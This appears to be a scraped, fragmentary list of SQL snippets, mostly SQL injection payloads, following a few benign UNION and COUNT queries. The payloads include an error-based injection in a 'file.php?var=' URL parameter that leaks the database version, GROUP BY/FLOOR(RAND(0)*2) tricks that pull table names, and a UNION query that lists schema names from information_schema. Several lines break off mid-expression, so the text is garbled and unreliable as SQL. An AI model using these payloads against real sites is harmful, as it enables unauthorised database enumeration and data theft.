Select count(*) from (select 1 union select 2 union select 3)x.
select a,b,null,null from table1 union select null,null,c,d from table2 union select null,null,null,null,e,f from table3.
SELECT COUNT(*), 'null_tally' AS narrative FROM us WHERE a IS NULL UNION SELECT COUNT(*), 'not_null_tally' AS narrative FROM
file.php?var=1 or (select count(*)from(select 1 union select 2 union select 3)x group by concat(mid((select version() from information_schema.tables limit 1),1,64),floor(rand(0)*2)))–.
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...1 from(select count(*),concat((select (select (select distinct concat(0x7e,0x27,unhex(Hex(cast
(select 1 from(select count(*), concat(( select( select unhex(hex
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...1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)
1 UNION ALL SELECT NULL,concat(schema_name) FROM information_schema.schemata